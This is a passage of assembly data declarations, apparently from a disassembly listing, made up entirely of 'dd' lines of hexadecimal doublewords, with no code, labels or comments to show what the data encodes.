		dd 9744E49Dh, 2A983300h, 0F7266CC0h, 310071D2h,	0E956FD02h
		dd 488F9AA5h, 98932901h, 552FE9DFh, 0FA01ABA7h,	0F50CD7B2h
		dd 0DD5730BEh, 3EEE23C0h, 908056DFh, 0F946B715h, 5238B0B0h
		dd 5BB2C8B5h, 0F1EC5829h, 0A816D2A0h, 0F8451513h, 10689412h
		dd 1A49A661h, 1F336778h, 8243174Bh, 1E6A2E2Ah, 0B0CEFC0h
		dd 0FA167192h, 0BCAC425Fh, 3C6668A0h, 25C57658h, 9F900ACBh
		dd 6DAE96BEh, 0B82D48B3h, 0B853F809h, 5F545705h, 0E9E3BCFDh
		dd 1780F9FCh, 0BF8C2967h, 6BC79602h, 764BC251h,	0B78A624Ch
		dd 97A233FCh, 34D82A8h,	19CB6650h, 0F697073Fh, 1B5E906h
		dd 0B180473h, 0F5F5BE6h, 0C3095480h, 409D48AAh,	25F28914h
		dd 920926E9h, 340C6E7Bh, 8A2271A5h, 6681945Dh, 631E233h
		dd 565C0DCBh, 0A4E95026h, 2B9FAD52h, 92BFA287h,	0C5B42238h
		dd 1A2600E1h, 87B3BE29h, 30ED7880h, 0E9274E7Ch,	6658E024h
		dd 0B50A7168h, 70203E64h, 0B4148A3h, 0BCD4855Ah, 505216DCh
		dd 71A40900h, 4B80C18h,	837BCB36h, 82EAC429h, 0C00E3B0Bh
		dd 0B8040C35h, 0FB3EB046h, 0C3834CD1h, 0F50858E6h, 3B31DFD1h
		dd 0D9D43A44h, 2DD02900h, 803155F8h, 0FA911A5Ch, 0FEDCB100h
		dd 0E0C1C94Ah, 903AD9F6h, 0E8E935BBh, 0CB41E265h, 2A7DA3A3h
		dd 5B9F42Fh, 8EE58AF6h,	0A33CE07Eh, 6ABCA2BAh, 9C228B04h
		dd 9F5ACEC1h, 8A053281h, 0E975A24Eh, 1163CD3h, 0B1FD7BAh
		dd 8F3C316Dh, 835AD1E0h, 6502C12Fh, 0EB273E31h,	95A67CF1h
		dd 561B490Bh, 0F35F56EEh, 0F4FFD082h, 77C9721Eh, 39C06121h
		dd 0E4614F03h, 2901A213h, 0BF40DCC3h, 6BF5E7C1h, 833E441Ch
		dd 6CF839F5h, 0EB4B71E9h, 641F6F4Fh, 46805778h,	241E5BEDh
		dd 2527CDF3h, 0BA0AD053h, 0C7948314h, 0EFC1B08Eh, 0CEE8B702h
		dd 6209DB61h, 84F801EBh, 5C09A9B7h, 2F4051F6h, 1FED2F6h
		dd 0BEB450CAh, 0E119C480h, 79F4D4CCh, 58E2081Eh, 0DA1FADF9h
		dd 8DEA5859h, 0EBC8521Ah, 89F59BC1h, 76F766EBh,	9E5E899Dh
		dd 9DC1EF9Bh, 6897AEDh,	6B06E1h, 518CB4D9h, 3590F2B1h
		dd 3D20847Dh, 2140BDA7h, 7E486231h, 5A5520BCh, 96E5B321h
		dd 4A20FCA4h, 0EBA92EAh, 0FE66D7FCh, 215D0D2Bh,	6FA41C6Fh
		dd 0B6053CCCh, 436469FEh, 0F8AB3E6Bh, 9A20F98Fh, 3D5E5D51h
		dd 0F82375D2h, 7782072Bh, 7069761Bh, 422B0961h,	0C3852012h
		dd 590708EFh, 292D8018h, 9AF198F9h, 665304FFh, 0C72A56BBh
		dd 7B91B39Bh, 31C30A0Fh, 0DD09C0A1h, 9C344AE9h,	32DA82E8h
		dd 0AB622BE8h, 28786F50h, 4B685912h, 52C2F8ECh,	0C78B0B6h
		dd 8882EE01h, 0EFC05AF7h, 5492CF42h, 3D2D0059h,	95575DFh
		dd 5658C524h, 1F08AA03h, 0F5865B36h, 0E9EBC4C2h, 0EBCA312Fh
		dd 49DEAE0h, 52F9815Fh,	50BE10E2h, 29220A68h, 5072DE8h
		dd 8AC1B7E9h, 1459275Ah, 203395D6h, 0C342945Ah,	0FB1D4468h
		dd 41723F0h, 0ACF488E9h, 0C80AD263h, 898EB606h,	205F41F3h
		dd 0EA385E5Bh, 21E668A0h, 0C162A7B4h, 0A69BD518h, 7BE66AD8h
		dd 9C0130F1h, 7B33254Bh, 7E2FA167h, 79CA0B6Ah, 0DD7C3429h
		dd 54057869h, 15EE80Bh,	6E80BB53h, 0CC8173F3h, 3C2846F0h
		dd 940BBE47h, 0D0CB30D7h, 3B575C97h, 0A0705E2Fh, 8995C4Bh
		dd 2D7E2321h, 0B4B728C9h, 895E8DE6h, 0AD4D30E7h, 27E5A14h
		dd 4B5E0295h, 0DF1668E9h, 612F1BAh, 0C380CF10h,	2F357CB8h
		dd 0F780F6BCh, 4AA11F1Eh, 296C413Bh, 252D7779h,	5A0700A6h
		dd 2BDE20BEh, 963E05AEh, 0E24F5EF7h, 7761ACE9h,	0BF1C9EC2h
		dd 12E001BBh, 454817D8h, 8BE3584Bh, 12A70827h, 0E529380Ah
		dd 62CAAF3Ch, 0F0F55813h, 0E7544478h, 0B878EB90h, 5163F42Eh
		dd 0F556A506h, 2A7ECB0h, 0C166B248h, 0EFC004E1h, 3A9FE6CEh
		dd 0B74E6C3Eh, 0D55885B0h, 0E5416681h, 6472DCADh, 0E8D6EFCEh
		dd 0E954B0D8h, 542158C4h, 0D3AEA0D6h, 0DEFFA6B2h, 1BBF858h
		dd 36396805h, 0CF24F3CFh, 869AA591h, 0B1871CD5h, 0F6D56CADh
		dd 0CDA4F95Eh, 0D7E91857h, 5EB984F1h, 0A5D171Eh, 74F68F8Ah
		dd 0F8C35202h, 600C60E7h, 0F01398C4h, 0E807A205h, 8B5DCE78h
		dd 79541027h, 0A1E96278h, 5117585Eh, 0E2D6C3E6h, 7CF54A38h
		dd 0C0EA73F8h, 47B2F695h, 892E7862h, 7208C1F1h,	685B050Dh
		dd 122DD56Fh, 5B77ECD9h, 0CFA3AB50h, 0A0F4E5EEh, 0B74F4BFAh
		dd 0C772E0C2h, 237F597Ah, 0A2B18A82h, 166786C3h, 11F529DEh
		dd 0FD05084Ah, 0ED32DEE9h, 3E407C8Ah, 7026B05Ah, 3D200BDAh
		dd 790D7F7h, 3604C4D0h,	5F3A0175h, 0ED2D6EC4h, 2FB331h
		dd 60C7804Fh, 3013DBB5h, 0EBB45BFDh, 276AE344h,	0F1F98557h
		dd 0BD82AE6h, 4208145Dh, 3409CBB2h, 0C806CA32h,	8809CCFh
		dd 8B9F5759h, 98765AA7h, 877E4BACh, 0ECD80474h,	28AC0E47h
		dd 7AE7DFF0h, 0C7C253Eh, 1E0B4A45h, 0C9B8D1E2h,	0B857A907h
		dd 0F516672Ch, 0C2F3FE09h, 0F2055296h, 64C89A17h, 12C6453h
		dd 88CA015Fh, 8003FB61h, 0F8377708h, 0CB6DDED5h, 3304E87h
		dd 903E69A6h, 1777EE25h, 0EEA41C13h, 999CD183h,	0BCF6E985h
		dd 0B6B05E40h, 6F961358h, 0FD90A1DAh, 385DEA2Ah, 0B55BDDD5h
		dd 0E3A7C2E7h, 0B1C82DA7h, 0A85A8184h, 0ED2579CDh, 0A6EF5B49h
		dd 62BAE272h, 0E919601Ah, 0DD314B9Ah, 0C4166FF3h, 0E9A005EDh
		dd 19D3523Fh, 0D94B435Eh, 0F30248D6h, 7CEA28E2h, 37FE81A5h
		dd 0C3CF922Fh, 0D26A2F79h, 2D59F269h, 634080E9h, 28004EB8h
		dd 0A0352B64h, 0FE0D4C5Eh, 5A019AAAh, 444983C1h, 7B832F4Bh
		dd 50098C9Dh, 106AAE00h, 0C10048F6h, 0E78106EFh, 32553220h
		dd 2144F56h, 74F1A860h,	250F9E00h, 5E98578Ah, 5595022Dh
		dd 0E0D12B28h, 0AF0B443h, 357E223Ah, 0AB706B78h, 90BC7CCBh
		dd 82DD598Eh, 0A5ABE30Fh, 30484250h, 0F468097Ah, 0B117C86Bh
		dd 6E4A14Bh, 0FA3312EFh
		dd 115EE65Fh, 0BA01CD4Bh, 63265EF6h, 4C062B09h,	9B1CAAD5h
		dd 8430107Eh, 80A2988Ch, 27F3F24Ah, 0EBA220F8h,	64E74354h
		dd 0FB4CB631h, 84C6C354h, 46FC095Ah, 530E53DEh,	8FFFD8CEh
		dd 41CD6FFDh, 0BA84666Bh, 1571B90Ah, 912FC67Eh,	0B930D73Ah
		dd 0A0C5DAF7h, 0E525B9D6h, 6E627A4h, 23286Bh, 7778869Fh
		dd 9ABDF63Fh, 32E390D7h, 0A2D2543h, 54C82AFh, 6870510Bh
		dd 0D8262350h, 3AEC899Ah, 6609CBE0h, 65545359h,	16E1A443h
		dd 0E9988371h, 3D74F6F3h, 2552764Ch, 0C390EE3Bh, 4D4A61FCh
		dd 0AC35BA8Dh, 0F5A764B8h, 50613EAh, 0E25C6D25h, 19189984h
		dd 227DBB02h, 5DD80128h, 94C81FA4h, 2491B3C1h, 689F8CA9h
		dd 0FE341A52h, 800261EEh, 0DFCE6EA7h, 2E165210h, 0FD01905Ch
		dd 551B666Ah, 1E21E640h, 0BD3C0236h, 0D20A0683h, 25576DC2h
		dd 65810183h, 0D424DF70h, 350348EBh, 4F0AF02Eh,	32CF7FA3h
		dd 6A330C05h, 84C4439Ch, 354997D0h, 31C81330h, 3AA6FCF7h
		dd 39C2104Ch, 0F24A0890h, 0DED939Eh, 8502EC96h,	55E26AE9h
		dd 8EE76C05h, 0BCD416BCh, 78E18903h, 0F0293C42h, 14C1A5CFh
		dd 4671FB98h, 0B100BF3Dh, 5304515Ah, 0F988D6B7h, 8CF8FD84h
		dd 0C613C33Bh, 11AFF696h, 77483DF0h, 25FABB86h,	0ACCE619Fh
		dd 5659358Bh, 8D4FAE54h, 66A19A0h, 0CFD237E9h, 6878C450h
		dd 9B237B2Dh, 0B39A007Bh, 0E9D988AFh, 0DF9CA96Eh, 0E654DE4Fh
		dd 0D6CB83CAh, 0B023A321h, 286F77E3h, 38B63B27h, 0C48BDAAEh
		dd 0DDDADE01h, 131AE91Ah, 5A47577h, 20280457h, 5984DFA9h
		dd 3E20F4D2h, 0F453C5CBh, 0C2E9D9B9h, 94FE3E4Ah, 56F88712h
		dd 9BD1C9DFh, 52C86D2Fh, 7CF64EBEh, 0AF9ADED1h,	0A7E0524Ah
		dd 6100134Ah, 0F9070F35h, 0E6970511h, 0DD5758CBh, 9E0D0460h
		dd 4C02B608h, 0B75FFB2Dh, 278284CCh, 0B4EB8002h, 0F6F06CE0h
		dd 614ADE7Dh, 658FC584h, 81FCDD26h, 5C71C9BAh, 15C03F36h
		dd 2EA92605h, 241E0806h, 28506133h, 0C26670F3h,	0B1835F82h
		dd 88D2F441h, 8F0E34D6h, 958EE502h, 90DF8693h, 66E368D7h
		dd 2B3F7770h, 0BE6AA484h, 21091E0Eh, 687310F0h,	0E60E4F1Dh
		dd 9A12D2D9h, 41E3FCE4h, 0DBCA20C8h, 71776817h,	0C13FF6FCh
		dd 0ED207ACh, 6CC18103h, 20F7A9ACh, 174C6D79h, 0DA1E8478h
		dd 0F29D31FEh, 0CA373935h, 5801D453h, 89738F0Dh, 5ABFE02Ah
		dd 832C3641h, 0E9A15C59h, 14434BAh, 0C588D15Bh,	5D1D60FEh
		dd 83219568h, 435B3012h, 41AA4A01h, 1E3F2D54h, 0B51B0181h
		dd 3853BCADh, 50904E69h, 921F04E9h, 293326BDh, 187E69B2h
		dd 0C3F652h, 7B777D4Dh,	0B9695CE9h, 4D2D5496h, 0A000689Dh
		dd 0B56C2768h, 1FE8A218h, 0B4651EBFh, 0E9555071h, 4852FB25h
		dd 9108C12h, 835F7B03h,	3109B2D6h, 996DBACh, 445A946Ah
		dd 0DC22CD00h, 5FF90940h, 8AD95AF7h, 0A8BE00ECh, 0C1332962h
		dd 20CBB8E6h, 20B5F335h, 168468B9h, 0C94A4892h,	7C582B5h
		dd 0D3ECFE0h, 47359F05h, 0DDB1A1E9h, 9576977Fh,	0ECB25215h
		dd 6AC8F415h, 613B480Eh, 0A5BF04D6h, 0B4201877h, 0E5883E90h
		dd 6E1C014Bh, 0B207EDC0h, 0E8283628h, 8151B949h, 4AC22A5Eh
		dd 96A358A8h, 0CA173C89h, 5090F3F9h, 20B1AF87h,	9A1F5AA7h
		dd 0A399061h, 0C3012BDDh, 7F060287h, 0A3403259h, 6B91267h
		dd 0A3B95502h, 9097D9Ch, 0EB3FEFA2h, 69EFAA74h,	85ACD698h
		dd 0BA88685Fh, 6A098F35h, 62057E34h, 38D5D817h,	8814D289h
		dd 0DDCB9372h, 0A504E6C8h, 0E16CA7ABh, 2DBD41B5h, 0E203B274h
		dd 255AF25Bh, 9F98DD68h, 63C041E9h, 3E2EE32Dh, 1A27BE36h
		dd 0CB624D71h, 0D24EA0FEh, 114EACA9h, 5B18AC31h, 78851C4Ah
		dd 9847AE28h, 73F33F04h, 38B029F6h, 2CA16726h, 0E38E1BEh
		dd 49B2EB17h, 56941855h, 60165968h, 0E9A9604Fh,	96B52CB6h
		dd 0ED81255Ch, 0D5134379h, 2D4998FCh, 9A23E34Bh, 0E1896052h
		dd 43058108h, 0DCD95E7Dh, 16DD7E1Fh, 0F027C067h, 2AEB3FE8h
		dd 1B510813h, 6714701h,	96B12F7h, 98A64C44h, 6AB7D659h
		dd 491BE86Ch, 0EBC0B6AEh, 9169AFFCh, 656560A9h,	8DEAB000h
		dd 2E193E21h, 9D4C1415h, 5E1A304Dh, 775B4E92h, 38449522h
		dd 0D8FA4C01h, 0D008A070h, 299620E9h, 3ED12C24h, 0B3975214h
		dd 5AE8E2E9h, 2E26017Bh, 4A682931h, 85322B16h, 34F2A311h
		dd 0CAC28331h, 9734F02Ah, 0E927EE1Ch, 0C1FE8044h, 276807E3h
		dd 0EE18321Bh, 0D51658A3h, 76BC400Dh, 73E91274h, 0F9E745C4h
		dd 4D148356h, 7B7BAE91h, 0D2002829h, 2EE11D91h,	0AC948915h
		dd 0AAC50804h, 91C1923Ah, 0CFA67F90h, 8901133Dh, 0B40009F8h
		dd 2CAC8E20h, 322A688Eh, 0B601785Ah, 4E6C061h, 4430CEFEh
		dd 54E497ADh, 623B6815h, 4C54C17h, 29D808E6h, 0FF05182h
		dd 947FAC41h, 84436028h, 44E0571Dh, 5D34F798h, 1AF56081h
		dd 0AE98B90h, 88D37FE3h, 0D1169380h, 0C18EACF5h, 446290F2h
		dd 8C6089D9h, 90B52164h, 95565371h, 8B90ACC4h, 5974Dh
		dd 9835E62Dh, 0E4BE051Ah, 70364C03h, 0DCB9A14Fh, 8FA14948h
		dd 68CD00Eh, 3A45A6F9h,	7BECD717h, 19D14704h, 0D9E90229h
		dd 0CF85A4FAh, 6712E9EDh, 4B002C0Ch, 845AE75Ch,	412F2BBh
		dd 0AD9AC5Dh, 542CF35Bh, 0DE157100h, 0BF515F65h, 2F0CC611h
		dd 68099F9Ah, 65D46348h, 94395CD1h, 0A81AE984h,	65B24EA3h
		dd 1D823C9h, 80B0149Dh,	247547D0h, 12C56ADAh, 0C6D4A8FBh
		dd 139CAB1h, 0D261CC5h,	3AD5F71Fh, 6D097925h, 171DD60Ah
		dd 9A3ED62h, 30178B68h,	0B5EE88C2h, 59B0E2ECh, 0D0CAC1BCh
		dd 0E02EC700h, 5564217h, 1019F2BEh, 0FF900137h,	207B1175h
		dd 4D097C46h, 0F0929B0h, 86EEE78Bh, 0C0C24D7h, 6D830B3Bh
		dd 55DC01D3h, 3D1FE9C9h, 0BDC38748h, 64339CE4h,	0B9E3FDE1h
		dd 0E854E0FAh, 0D49297D3h, 2E4ABD00h, 6F9039A1h, 0D358200Ch
		dd 3C6E0C19h, 18B7276h,	0AE565DE9h, 2D23FA5Ah, 409CD188h
		dd 98D3CBB7h, 0C0615363h, 37A4F11Eh, 0E197C0D1h, 902A2DC5h
		dd 54055B8Ch, 705E2525h, 80709511h, 5F580640h, 0DB72D059h
		dd 5E5F4969h, 0C4059F7h, 49E5BE9h, 0AE895FCEh, 1C4FAAC1h
		dd 5E866620h, 7D499DF7h, 58129F95h, 0B3FEE0D1h,	0FAC72F81h
		dd 3F21830Eh, 9245360Ah, 64303900h, 5D126818h, 0D084250Dh
		dd 7827FA31h, 0A5F05E8Bh, 705245E1h, 0F6B2B8DDh, 0DCA4235Bh
		dd 0E989C99h, 0B7E5E801h, 9027C820h, 42C02514h,	10A61FA6h
		dd 77A0DD94h, 4E5E1359h, 0E380AD33h, 5706079Bh,	27CF8853h
		dd 0AEDA2FAh, 1AAD66DBh, 77E6BAC7h, 0D8BCDC94h,	0C33A88h
		dd 7B2970BEh, 0E600C145h, 4F68105h, 1CAF652Eh, 0E45EF589h
		dd 0FCC2301Fh, 344CC71Eh, 0BDCD4F81h, 20A810A6h, 5E83B010h
		dd 618A9202h, 66B8055Fh, 1866C9F3h, 0C425BF30h,	6BC8D602h
		dd 0CE9A61AEh, 0BF21C755h, 1310CDD2h, 0EEC00F2Ah, 0BB220A08h
		dd 76FB2189h, 4E06A29h,	90E05038h, 6101EAB5h, 0F3295816h
		dd 56086D10h, 712125D1h, 0D85A6923h, 74413945h,	0BC3DA20Ah
		dd 12A2D44Fh, 71FB98Bh,	5A5F5257h, 0D5DFF712h, 606158Ch
		dd 3BEBE912h, 0F2938BADh, 5CE76051h, 914DE068h,	0BD668351h
		dd 53A241A5h, 0E74FC459h, 515562BFh, 6F9A70Ch, 885954CBh
		dd 0C0C64AE9h, 8E7C01Dh, 50DFF607h, 20D441B4h, 9A7DEAE1h
		dd 0BD2253A5h, 0D81FA764h, 58670839h, 64138F9Dh, 3786913Ch
		dd 0F6397B26h, 954C9838h
		dd 284B3A1Fh, 0F65820ACh, 485A485Dh, 0DE7004B7h, 85D108B9h
		dd 0D77F1B81h, 0B1E77433h, 35DB7101h, 33EFE8AAh, 75FA8E48h
		dd 8C11411Dh, 2FB0189h,	7B40A051h, 36A16205h, 16B214E4h
		dd 8C1EE07h, 0EC635AF4h, 60C4CAFFh, 0BF4C9BD2h,	47A66E23h
		dd 0F05313F9h, 95C9CBB3h, 0F2B784D7h, 0F8A567ACh, 13EBD20Fh
		dd 0C36BB4F4h, 5BA8CE4Ah, 0ABE15CE2h, 0EEB806B7h, 5D29E77Ah
		dd 3097023Fh, 84DAE219h, 8516B322h, 7354AE1Dh, 44E9B07Ah
		dd 4EB0804Dh, 58C53007h, 52CEEB28h, 0CD170BB2h,	773521ABh
		dd 0EBA65245h, 95BD91D4h, 4880AFD3h, 823F4CE6h,	0F75A2A68h
		dd 1EE980B0h, 82801D45h, 8083AEBBh, 3CD42969h, 365F07A9h
		dd 0F49B4062h, 9508208Dh, 82564A24h, 4A82BC03h,	0B202464Ch
		dd 175C2EDh, 2867C1DBh,	0C3A5FEB9h, 54B2F118h, 17F970E1h
		dd 836E4041h, 0DD82D95Eh, 59B49E1h, 0C9829497h,	66C4DC05h
		dd 5F0A6F2Eh, 66787168h, 62AB5795h, 563B79A0h, 1D7F89C5h
		dd 100C666h, 813A850Ch,	3B51DEE2h, 0CA005CF5h, 2A612376h
		dd 0E6AA01E9h, 5D490F5h, 2E7958Ch, 2788FD23h, 0FA420DFh
		dd 0B78FFAF7h, 0AB466Bh, 9F4141AFh, 3657C214h, 69294EF4h
		dd 0C1EF7442h, 56B7FCFh, 8A23CB3Ch, 2C645250h, 5197B178h
		dd 81BAC01h, 0E68704AFh, 31A2407h, 0FFF3D2F7h, 1A5A7430h
		dd 504B5886h, 1937F420h, 0BC1BB431h, 3B4F60B7h,	0E917D1E6h
		dd 0E641C635h, 6BEF8059h, 28C0D8CFh, 0ABF6A3F9h, 0EA82C15Bh
		dd 0ED931D72h, 92EF865Fh, 0DEF30723h, 0B548D953h, 0D4FFA1A2h
		dd 0A5958B52h, 53B03FB3h, 0B783CBEh, 8BD030A5h,	68865295h
		dd 280EA8F2h, 3F33606Dh, 0A1648ABEh, 0B9E370F1h, 0DEC24394h
		dd 43C50F44h, 0A1E1A8D5h, 101A2D6h, 0ACC8DCDAh,	9F78080h
		dd 1222687Dh, 0B0007344h, 0D0E334EDh, 0F24A2CE8h, 6690A7h
		dd 8CEB8065h, 0D828BF04h, 345BD0FDh, 0C73DC877h, 0D41725E9h
		dd 0E33D67DAh, 6CC26D3Fh, 0A607E00Eh, 0BB4C010Bh, 0B00C20E0h
		dd 291A8117h, 5908248Eh, 1CA8FC36h, 9F96F81h, 5F2FB551h
		dd 683083B1h, 9CB14C3Fh, 0E8C9C253h, 0E6137F29h, 58F3D8BEh
		dd 20041822h, 33A08A7Fh, 0A1382AF0h, 0C9D7A531h, 65AE0779h
		dd 295C8A13h, 5A61111Eh, 0C8172F8Bh, 84B1ED3Eh,	62BB6344h
		dd 5FC3565Bh, 279C6A0Ah, 0F9048547h, 0F7C02B16h, 58FFD0E9h
		dd 0A2984F02h, 3B2CD44Fh, 128C0E78h, 98E25311h,	0D3044E14h
		dd 5AF9C5C3h, 9F2C7CFAh, 0E4F025FDh, 0E56CD7DDh, 0C8B3604Ch
		dd 0EBE0E925h, 979CB1CFh, 81410C81h, 0E478E8E1h, 0D161F723h
		dd 0D7DCE904h, 68C2C069h, 81D938B7h, 73758Eh, 0F9EE8107h
		dd 0F570E28h, 26BA94E9h, 0A8080F76h, 0C4FE0BA5h, 0C0059100h
		dd 0CDED03E4h, 0CED8E7E1h, 3F67B5E9h, 0E81B934h, 0A12B7F2Ah
		dd 619407C0h, 2163E537h, 5C752C9Bh, 82C1F469h, 0CA6AFD78h
		dd 8FC812C2h, 9F29A028h, 0B89DE74Ch, 793A12h, 0E1BB342Eh
		dd 0E96A9BEEh, 0C5D00D5Eh, 0BB97FF5h, 0E8313DEAh, 4BAC6F51h
		dd 0D2399202h, 2505560Ah, 0BF02ADF2h, 2420440Bh, 6449FE47h
		dd 7861EE3Ch, 0C446CF87h, 0B8500108h, 26490A79h, 47C92009h
		dd 0B3310E40h, 8569657h, 55A9E7C1h, 0CA3A3709h,	0A7848DDh
		dd 89840B80h, 5156F701h, 0E9F5EE4Eh, 5B2323D2h,	0A12DF25Dh
		dd 401168A6h, 0D3C44868h, 4550988h, 0D4163154h,	3E78BC27h
		dd 29199209h, 4F2155E4h, 540DB332h, 0A54048F2h,	0D5892D5Dh
		dd 0E61685F8h, 7BBC0D1Ah, 594AB403h, 84E40126h,	0E908056Ah
		dd 8891A074h, 0AD71B8C4h, 6FC98100h, 39589A4Ch,	0D5550549h
		dd 0F603A182h, 10CBCAE9h, 0C75F4FD1h, 0DE8B5A5Dh, 2DE748C8h
		dd 59AF9A45h, 4FE508F8h, 503E17A8h, 7408A5E9h, 10CD965h
		dd 828FDEFDh, 46CF312Ch, 0AADAC124h, 87823327h,	0B1E65F3Dh
		dd 0D011AF6Bh, 812FE770h, 595D5C9h, 9046E609h, 1690CA54h
		dd 456936h, 2BEDD438h, 0C64DE923h, 40C94B16h, 7321AB79h
		dd 0C256E985h, 2E97A321h, 0A3003471h, 0F721D105h, 35608D2Bh
		dd 6794402Bh, 0E5E3335Ch, 0C0982CF0h, 7E0C148h,	16027F35h
		dd 0E20199AEh, 1F8FD285h, 0E5E9F613h, 0D42E47BBh, 6728E947h
		dd 5EC9C819h, 945808FFh, 8786983Ah, 1E6AC6C5h, 0CB73B344h
		dd 86798C3Eh, 0B7015513h, 319D2BEFh, 956564FDh,	36BB5696h
		dd 21274B00h, 177B00EBh, 0F20AE007h, 565948CBh,	452EE501h
		dd 71DF0144h, 97C8FA2Ch, 114EEE80h, 5C7B18ADh, 55A0853Eh
		dd 1B1344BDh, 31A82F34h, 34B0F0Eh, 7410C5C0h, 0FE90772Dh
		dd 8B68DF09h, 5E796254h, 4A5700CCh, 8D3544F8h, 183B7516h
		dd 0EF3821B1h, 0DECDA84Bh, 0E6072C09h, 16995A5Eh, 79670B9Bh
		dd 0F927D5D6h, 40684120h, 0C4662867h, 25EBF9D2h, 320C82B9h
		dd 5F7BC954h, 4ED32A6Ch, 0ACD693E3h, 0E3B9F458h, 13A56084h
		dd 8828E1B1h, 0B68781B4h, 93F472B4h, 5CC068ACh,	0B050C5FEh
		dd 0A2284D28h, 70180427h, 738BE905h, 1D4969E9h,	0D94CE4C2h
		dd 51010E3Bh, 290803D0h, 65F8E9F1h, 92827EACh, 9D225073h
		dd 70952EB4h, 12C983Ah,	38BF6C6Fh, 0E599407Eh, 3A1A25F5h
		dd 9824779Ah, 89AD9D36h, 547CCC25h, 0A6F45447h,	0FA43E5D3h
		dd 4D56FAh, 61D12D59h, 12C19CBh, 873955F0h, 81773537h
		dd 360C69B0h, 0D874C127h, 3AA29421h, 2D5EBA00h,	65760280h
		dd 1F05122Eh, 78040007h, 9D683859h, 85134259h, 39BAA50Ah
		dd 7C9C6E1Fh, 0F8E5BF5Ch, 3170AF9Fh, 3D1BF9C6h,	0A99702ECh
		dd 0A27FE4E2h, 0DFB35E26h, 0B490E22Fh, 665C1621h, 710CA83Bh
		dd 0BC2B2B50h, 3AB61F18h, 0F5FB00Ch, 90E93BB4h,	4437EB92h
		dd 0A813A3D4h, 0B7FC506Dh, 0A85B6D07h, 204FDD31h, 9C3666EDh
		dd 6F09162Ah, 419F051Ch, 1B58E285h, 0EA9F01BAh,	30C70F9h
		dd 80C3285Ah, 613F8EBh,	0ADA16629h, 290209EAh, 9A9030B3h
		dd 4B32710Ah, 0FCD9427Eh, 6C5C8247h, 0D0DA493Eh, 53BE105h
		dd 22C70952h, 0D872618Fh, 0D26CF917h, 652D0660h, 0E09DA823h
		dd 984E4DB4h, 82FA9485h, 3CEC521Fh, 5B041042h, 1971D129h
		dd 0C1CA3830h, 3E7C3C33h, 0E717807Bh, 0E0B7C651h, 121F386Fh
		dd 0BB89348Eh, 4E31722Ch, 0C457F2D3h, 56949DC0h, 0C04F4592h
		dd 277B9932h, 8B5E5E74h, 0A845E904h, 0A38A61EAh, 97B72A01h
		dd 160FBC50h, 0F97E1117h, 68084167h, 0DE28DAB1h, 0AA5C4294h
		dd 0D69D5E04h, 2E80A500h, 445F5B6Bh, 0A0BF65Dh,	0D9BA61BEh
		dd 0A3B84ED9h, 453A3110h, 0C69DFCEDh, 0D89C14B6h, 9F519D60h
		dd 0A0175C9Fh, 595B2641h, 673DCA30h, 6750681Fh,	15E39874h
		dd 0C3EF0322h, 73944B7Dh, 9D0A89Ch, 2BD027E3h, 0E75305E2h
		dd 7C81610h, 316F57C2h,	7003CEDh, 28FB015Dh, 32F80388h
		dd 0BEA483DEh, 0FE8EEA55h, 2D91A65Dh, 0BF90718Bh, 9197873Fh
		dd 50705582h, 28F44ED0h, 0B744595Eh, 0CB5F4FFEh, 0F794CB2h
		dd 0F2C8310Eh, 57E8A7ACh, 685F5806h, 976B10EAh,	885AB8A0h
		dd 594C66EEh, 0F61302F8h, 61D60CD8h, 2CBE03D4h,	0F7CDF655h
		dd 8987ECC7h, 0B708FE26h, 0D19D5714h, 63684292h, 1AC6C65Dh
		dd 7CB530E9h, 0BEC11F84h, 0D1014091h, 0DCB6AAFBh, 0F5A9EF97h
		dd 4ED3C05h, 12DF47B0h,	9D1444FFh, 0AB680230h, 9CEE711Ch
		dd 0F66EC088h, 6E8C0D0h, 0DB415AB0h, 11B7CB40h,	81360007h
		dd 0CB3150E5h, 0ED1BC143h, 0A0144506h, 16091E0Fh, 0E3E078E9h
		dd 7F575F84h, 522C8Ch
		dd 2F509A68h, 0CA815A7Eh, 0C873FD09h, 0F647803Ch, 0B4238821h
		dd 0BACD0902h, 58611F20h, 0F1FE66A0h, 0C9815E02h, 0E14216E7h
		dd 0B288E16Dh, 880BA6B3h, 40D989E5h, 91ABF39h, 4F63C717h
		dd 24D7E002h, 0CFB0D8E3h, 28F0156Bh, 60E7C12Dh,	5608376h
		dd 0D4E946B2h, 171FEDFh, 21608864h, 0BD825274h,	32610F04h
		dd 3913EA5Ah, 0C693EECh, 0C0F6A500h, 0CCA3B464h, 7AECB64Bh
		dd 0E92559A6h, 2D8B51h,	5649D909h, 0D8F70020h, 0A525E0D1h
		dd 786EA42Ch, 0AB81D70h, 84F02938h, 657AC200h, 2DE91AE0h
		dd 0C6722A57h, 5DC1DC62h, 1956729h, 0C33C472Dh,	5A12E69h
		dd 0B7F00705h, 913225E9h, 22BD5CE4h, 72EE1732h,	515F0960h
		dd 4D034211h, 45B00114h, 2E4B79E9h, 37F7DA44h, 8C1D0412h
		dd 122895E3h, 124F9108h, 0DA174110h, 0C7DD2A33h, 97F66CECh
		dd 2F354426h, 1D811E9Eh, 5D0B2636h, 3A031628h, 297F9346h
		dd 0A2C0AF4h, 5A57558Eh, 80CF4894h, 6DE67E6h, 72EE63D8h
		dd 812D0C20h, 337CD4F2h, 0BBE55925h, 0E630548Bh, 0F8C597B3h
		dd 0AE8899AEh, 0D0300B94h, 0E9617E79h, 413FE043h, 770BF10Ah
		dd 52986405h, 89837997h, 0AA82DA89h, 8707D2D7h,	85E0459h
		dd 2A27A001h, 0BA6D206Ch, 7DF3141Fh, 37BEF703h,	0F901B0FBh
		dd 127C4FE9h, 109DF665h, 1E583ACCh, 2DA39D2Ch, 0E07E0608h
		dd 0FD25CDB8h, 0E6E9380Bh, 242DD9E4h, 9EE02584h, 0DD5F3548h
		dd 5AAC0C4h, 0FB5BECBh,	92E4693Bh, 7140EC42h, 0E69AB1FEh
		dd 31215F39h, 80C2E41Ch, 0C1F76707h, 0CC6FC120h, 102F6807h
		dd 0F4721B28h, 8180A3E8h, 975A6532h, 35A0764h, 0C0EC1994h
		dd 0A4E20BA4h, 400236D2h, 0BF035A25h, 0F6B85F7Eh, 2BD71AE9h
		dd 82EBAB8Ch, 5F9C3255h, 0BF05BA9h, 0B0972EB1h,	4BAF8B0h
		dd 21911533h, 7CC0AE01h, 654816EEh, 0FFF712E1h,	5F417979h
		dd 0C402A71h, 4EE7FA3Eh, 2300A0A6h, 5FCD295Fh, 93D7D37Ah
		dd 206827A1h, 6D1D0811h, 0EBCA2049h, 0BEC0EA76h, 717BEA2Eh
